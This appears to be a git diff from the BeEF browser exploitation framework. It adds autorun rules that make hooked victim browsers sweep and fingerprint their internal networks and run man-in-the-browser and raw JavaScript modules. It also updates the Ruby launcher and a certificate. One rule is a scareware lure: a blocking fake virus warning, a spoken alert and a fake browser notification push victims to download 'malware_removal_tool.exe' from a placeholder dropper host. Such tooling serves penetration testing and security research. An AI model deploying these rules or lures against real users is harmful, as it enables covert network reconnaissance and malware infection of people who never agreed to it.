"code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';",
"options":{"text":"<<mod_input>>"}
},
{
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,28 @@
{"name": "LAN CORS Scan",
"author": "bcoles",
"browser": ["FF", "C"],
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "cross_origin_scanner_cors",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"2",
"wait":"2",
"timeout":"10"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,23 @@
{"name": "LAN CORS Scan (Common IPs)",
"author": "bcoles",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "cross_origin_scanner_cors",
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"ports":"80,8080",
"threads":"2",
"wait":"2",
"timeout":"10"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,28 @@
{"name": "LAN Fingerprint",
"author": "bcoles",
"browser": ["FF", "C"],
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "internal_network_fingerprinting",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,23 @@
{"name": "LAN Fingerprint (Common IPs)",
"author": "antisnatchor",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "internal_network_fingerprinting",
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,27 @@
{"name": "LAN Flash Scan",
"author": "bcoles",
"browser": ["FF", "C"],
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "cross_origin_scanner_flash",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"2",
"timeout":"5"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,22 @@
{"name": "LAN Flash Scan (Common IPs)",
"author": "bcoles",
"browser": ["FF", "C"],
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "cross_origin_scanner_flash",
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"ports":"80,8080",
"threads":"2",
"timeout":"5"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,28 @@
{"name": "LAN HTTP Scan",
"author": "bcoles",
"browser": ["FF", "C"],
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "get_http_servers",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"rhosts":"<<mod_input>>",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,23 @@
{"name": "LAN HTTP Scan (Common IPs)",
"author": "bcoles",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_http_servers",
"condition": null,
"code": null,
"options": {
"rhosts":"common",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,25 @@
{"name": "LAN Ping Sweep",
"author": "bcoles",
"browser": "FF",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "ping_sweep",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"rhosts":"<<mod_input>>",
"threads":"3"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,20 @@
{"name": "LAN Ping Sweep (Common IPs)",
"author": "bcoles",
"browser": "FF",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "ping_sweep",
"condition": null,
"code": null,
"options": {
"rhosts":"common",
"threads":"3"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,17 @@
{"name": "Perform Man-In-The-Browser",
"author": "mgeeky",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "man_in_the_browser",
"condition": null,
"code": null,
"options": {}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,19 @@
{
"name": "Raw JavaScript",
"author": "wade@bindshell.net",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "raw_javascript",
"condition": null,
"options": {
"cmd": "alert(0xBeEF);"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,19 @@
{"name": "Collects multiple snapshots of the webpage within Same-Origin",
"author": "mgeeky",
"browser": ["FF", "C", "O", "IE", "S"],
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "spyder_eye",
"condition": null,
"options": {
"repeat":"10",
"delay":"3000"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,38 @@
// note: update your dropper URL (dropper.local) in each of the modules below
{
"name": "Windows Fake Malware",
"author": "bcoles",
"browser": "ALL",
"browser_version": "ALL",
"os": "Windows",
"os_version": "ALL",
"modules": [
{
"name": "blockui",
"condition": null,
"options": {
"message": "<img src='data:image/png;base64,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'/><p>This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online. <p><a href='http://dropper.local/malware_removal_tool.exe' onclick='$j.unblockUI();'>Microsoft Malware Removal Toolkit</a></p>",
"timeout": "9999"
}
},
{
"name": "text_to_voice",
"condition": null,
"options": {
"message": "This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.",
"language": "en"
}
},
{
"name": "fake_notification_ie",
"condition": null,
"options": {
"url": "http://dropper.local/malware_removal_tool.exe",
"notification_text": "SECURITY WARNING: Download the <a href='http://dropper.local/malware_removal_tool.exe' title='Microsoft Malware Removal Toolkit'>Microsoft Malware Removal Toolkit</a> as soon as possible."
}
}
],
"execution_order": [0,1,2],
"execution_delay": [0,0,0],
"chain_mode": "sequential"
}

249
beef
View File

@@ -1,55 +1,87 @@
#!/usr/bin/env ruby
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# stop deprecation warning from being displayed
#
# @note stop Fixnum deprecation warning from being displayed
#
$VERBOSE = nil
# @note Version check to ensure BeEF is running Ruby 1.9 >
if RUBY_VERSION < '1.9'
puts "\n"
puts "Ruby version " + RUBY_VERSION + " is no longer supported. Please upgrade 1.9 or later."
puts "OSX:"
puts "See Readme"
puts "\n"
exit
#
# @note Version check to ensure BeEF is running Ruby 2.4+
#
if RUBY_VERSION < '2.4'
puts
puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version 2.4 or later."
puts
exit 1
end
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
$root_dir = File.expand_path('..', __FILE__)
# @note Prevent some errors on encoding: encoding handling changed (improved) from 1.8.7 to 1.9.1/2.
if RUBY_VERSION =~ /1.9/
Encoding.default_external = Encoding::UTF_8
Encoding.default_internal = Encoding::UTF_8
#
# @note Platform check to ensure BeEF is not running on Windows
#
if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
puts
puts "Ruby platform #{RUBY_PLATFORM} is not supported."
puts
exit 1
end
# @note Require core loader's
#
# @note set load path, application root directory and user preferences directory
#
$root_dir = File.join(File.expand_path(File.dirname(File.realpath(__FILE__))), '.')
$:.unshift($root_dir)
$home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze
#
# @note Require core loader
#
require 'core/loader'
# @note Initialize the Configuration object. Eventually loads a different config.yaml if -c flag was passed.
#
# @note Create ~/.beef/
#
begin
FileUtils.mkdir_p($home_dir) unless File.directory?($home_dir)
rescue => e
print_error "Could not create '#{$home_dir}': #{e.message}"
exit 1
end
#
# @note Initialize the Configuration object. Loads a different config.yaml if -c flag was passed.
#
if BeEF::Core::Console::CommandLine.parse[:ext_config].empty?
config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml")
else
config = BeEF::Core::Configuration.new("#{$root_dir}/#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
config = BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
end
# @note After the BeEF core is loaded, bootstrap the rest of the framework internals
require 'core/bootstrap'
#
# @note set log level
#
BeEF.logger.level = config.get('beef.debug') ? Logger::DEBUG : Logger::WARN
# @note Loads enabled extensions
BeEF::Extensions.load
# @note Prints the BeEF ascii art if the -a flag was passed
if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
BeEF::Core::Console::Banners.print_ascii_art
#
# @note Check the system language settings for UTF-8 compatibility
#
env_lang = ENV['LANG']
if env_lang !~ /(utf8|utf-8)/i
print_warning "Warning: System language $LANG '#{env_lang}' does not appear to be UTF-8 compatible."
if env_lang =~ /\A([a-z]+_[a-z]+)\./i
country = $1
print_more "Try: export LANG=#{country}.utf8"
end
end
#
# @note Check if port and WebSocket port need to be updated from command line parameters
#
unless BeEF::Core::Console::CommandLine.parse[:port].empty?
config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port])
end
@@ -58,84 +90,143 @@ unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
end
# @note Prints BeEF welcome message
BeEF::Core::Console::Banners.print_welcome_msg
# @note Loads enabled modules
BeEF::Modules.load
# @note Disable reverse dns
Socket.do_not_reverse_lookup = true
# @note Database setup - use DataMapper::Logger.new($stdout, :debug) for development debugging
case config.get("beef.database.driver")
when "sqlite"
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
when "mysql", "postgres"
DataMapper.setup(:default,
:adapter => config.get("beef.database.driver"),
:host => config.get("beef.database.db_host"),
:port => config.get("beef.database.db_port"),
:username => config.get("beef.database.db_user"),
:password => config.get("beef.database.db_passwd"),
:database => config.get("beef.database.db_name"),
:encoding => config.get("beef.database.db_encoding")
)
else
print_error 'No default database selected. Please add one in config.yaml'
#
# @note Validate configuration file
#
unless BeEF::Core::Configuration.instance.validate
exit 1
end
#
# @note Exit on default credentials
#
if config.get("beef.credentials.user").eql?('beef') && config.get("beef.credentials.passwd").eql?('beef')
print_error "ERROR: Default username and password in use!"
print_more "Change the beef.credentials.passwd in config.yaml"
exit 1
end
#
# @note Validate beef.http.public and beef.http.public_port
#
unless config.get('beef.http.public').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public'))
print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public')}"
exit 1
end
unless config.get('beef.http.public_port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public_port'))
print_error "ERROR: Invalid public port: #{config.get('beef.http.public_port')}"
exit 1
end
#
# @note After the BeEF core is loaded, bootstrap the rest of the framework internals
#
require 'core/bootstrap'
#
# @note Prints the BeEF ascii art if the -a flag was passed
#
if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
BeEF::Core::Console::Banners.print_ascii_art
end
#
# @note Prints BeEF welcome message
#
BeEF::Core::Console::Banners.print_welcome_msg
#
# @note Loads enabled extensions
#
BeEF::Extensions.load
#
# @note Loads enabled modules
#
BeEF::Modules.load
#
# @note Disable reverse DNS
#
Socket.do_not_reverse_lookup = true
#
# @note Database setup
#
#
# @note Load the database
#
db_file = config.get('beef.database.file')
# @note Resets the database if the -x flag was passed
if BeEF::Core::Console::CommandLine.parse[:resetdb]
print_info 'Resetting the database for BeEF.'
DataMapper.auto_migrate!
else
DataMapper.auto_upgrade!
File.delete(db_file) if File.exists?(db_file)
end
# Connect to DB
ActiveRecord::Base.logger = nil
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
# Migrate (if required)
context = ActiveRecord::Migration.new.migration_context
if context.needs_migration?
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate
end
#
# @note Extensions may take a moment to load, thus we print out a please wait message
#
print_info 'BeEF is loading. Wait a few seconds...'
#
# @note Execute migration procedure, checks for new modules
#
BeEF::Core::Migration.instance.update_db!
#
# @note Create HTTP Server and prepare it to run
#
http_hook_server = BeEF::Core::Server.instance
http_hook_server.prepare
#
# @note Prints information back to the user before running the server
#
BeEF::Core::Console::Banners.print_loaded_extensions
BeEF::Core::Console::Banners.print_loaded_modules
BeEF::Core::Console::Banners.print_network_interfaces_count
BeEF::Core::Console::Banners.print_network_interfaces_routes
#@note Prints the API key needed to use the RESTful API
#
# @note Prints the API key needed to use the RESTful API
#
print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
#@note Starts the WebSocket server
if config.get("beef.http.websocket.enable")
BeEF::Core::Websocket::Websocket.instance
print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
if config.get("beef.http.websocket.secure")
print_info "Starting WebSocketSecure server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
end
end
#
# @note Load the GeoIP database
#
BeEF::Core::GeoIp.instance
#
# @note Call the API method 'pre_http_start'
#
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
# @note Start the HTTP Server, we additionally check whether we load the Console Shell or not
if config.get("beef.extension.console.shell.enable") == true
require 'extensions/console/shell'
puts ""
begin
FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder")))
BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt,
BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run
rescue Interrupt
end
else
print_info 'BeEF server started (press control+c to stop)'
http_hook_server.start
#
# @note Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directory
#
BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory
#
# @note Start the WebSocket server
#
if config.get("beef.http.websocket.enable")
BeEF::Core::Websocket::Websocket.instance
BeEF::Core::Console::Banners.print_websocket_servers
end
#
# @note Start HTTP server
#
print_info 'BeEF server started (press control+c to stop)'
http_hook_server.start

View File

@@ -1,19 +1,24 @@
-----BEGIN CERTIFICATE-----
MIIDDjCCAnegAwIBAgIJAKNYRH/AaB3DMA0GCSqGSIb3DQEBBQUAMIGfMQswCQYD
VQQGEwJBVTEUMBIGA1UECAwLQm92aW5lIExhbmQxDTALBgNVBAcMBEJlRUYxDTAL
BgNVBAoMBEJlRUYxDTALBgNVBAsMBEJlRUYxJzAlBgNVBAMMHkJyb3dzZXIgRXhw
bG9pdGF0aW9uIEZyYW1ld29yazEkMCIGCSqGSIb3DQEJARYVQmVFRkBkb250d3Jp
dGVtZS5CZUVGMB4XDTEyMDgwNjEzMDUzOFoXDTEzMDgwNjEzMDUzOFowgZ8xCzAJ
BgNVBAYTAkFVMRQwEgYDVQQIDAtCb3ZpbmUgTGFuZDENMAsGA1UEBwwEQmVFRjEN
MAsGA1UECgwEQmVFRjENMAsGA1UECwwEQmVFRjEnMCUGA1UEAwweQnJvd3NlciBF
eHBsb2l0YXRpb24gRnJhbWV3b3JrMSQwIgYJKoZIhvcNAQkBFhVCZUVGQGRvbnR3
cml0ZW1lLkJlRUYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALCxzu+rOTt2
VBM5X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP
0l+pKgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0Z
F/0y0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAGjUDBOMB0GA1UdDgQWBBTaXny0
kTye7CAr0ronsg0ob63+kTAfBgNVHSMEGDAWgBTaXny0kTye7CAr0ronsg0ob63+
kTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4GBABTy5s/XRd6iBwxOgV6N
B+cTRgmgHciujbI+0p4TkOkHvQPhhcD3207ndWWwv+Mc2XeQcXNaOfYUDkeCs64N
JffqThykYOdagvCu1Gecw9BEKeijS9MAuNvtvP7fcUNUql+VeTFbxMBPGDhusafz
GkY0IBg9+j6XX4JwEXxCGt0a
MIIECTCCAnGgAwIBAgIUbx/YybkSOL8uO0qikl/wsL4xLeIwDQYJKoZIhvcNAQEL
BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTE5MDIxNjEzMjYxNFoXDTI5MDIx
MzEzMjYxNFowFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBojANBgkqhkiG9w0BAQEF
AAOCAY8AMIIBigKCAYEAteQJ2fooOffGU8jFkArCsFaJZW5WSuc5j7i2ciG0LY2C
lVg1Uy7/6xHe048RJAD9AnWajf9Jt7NpAAoyRmFJOepZS8CStON4mBrKUFI4rzAB
W9F7nov5+k+GK11kuvPFyAQCGs82RpGXsEP2ktsimsWvI8jnt7B+DXltqxeWavXB
TYOTsDhyRxXcNPGgenOabtya1XsAecTs4JPOsV4L/hnTS70X8BNOcMRFRNb3W5C0
w3vnid9Q6jhDRC6ghpeVWgnlymqV0Y6v1pbWZRs71sKQF/V5Td5zA8pr9r30YFAD
Wbkb33vicU5BkZ8PQeUygqtqKOhni9i8Yg1otkXmqWsmo5sV/GgKHvkxOoQBlzv3
hhMyYEnKjhPuepKl/VW17zRFdMCQZbvtW9/WBX4AwtKNAxYiRRO5jvDU1pX0nfXw
86ZPfkbkPdJJYqZqqsOSSOVSpCkoLJv/owaY10XwgSEl8rA+3t03/9B6s09Q0o28
0zXu/CMiSBNSEJlJSNdZAgMBAAGjUzBRMB0GA1UdDgQWBBTULhamHun+PWMkHDzg
5yHcv0KOmTAfBgNVHSMEGDAWgBTULhamHun+PWMkHDzg5yHcv0KOmTAPBgNVHRMB
Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBgQAZo9xPTktJ1aTxTXfLKivqbPin
5CiRl5DWh1niPUFowmuAGbDCYOHA/+fzhBhFWj3LVaX2dQSpYxiqnfb5FWaxNK+8
9A0AKgf8f2cpJ22QleDFOsyCw8jxzSfmOKKQLifY5Ty5C5P8xb9T0B7LbyR8r17p
sr77eM/5tBpsIIh40AZjoDhi/HHrtqxEb+DgnTRHIBMmzvwkk+v4iXBDCO5BHFof
gVXOF3MrovhH+qA8HFl9diJ6MtTltVAqI0eShBLd2MJ068qKqb+I6pyXGmlrk9Ei
H0XrKlKEKjyum6ZEPr5Mn+NA+4ePRv1mPHoaopJoNhgRislfryGFLJwxeuMJfQOU
oZTmgK8Ur0TYLl/wqf9avX3A8hkffNZXukmzNwjzLVG252RPA2Iq3y1+7VgOjaBJ
rNbwArYInhfF5hJesjo3LAD9H29dFxR6dztpOcDCkaOZEdlz+fvqUFYJzwuHmuSi
DLyqAOr77CjoWEMSHcXUEGUeJDKVqLgzqC9lqf4=
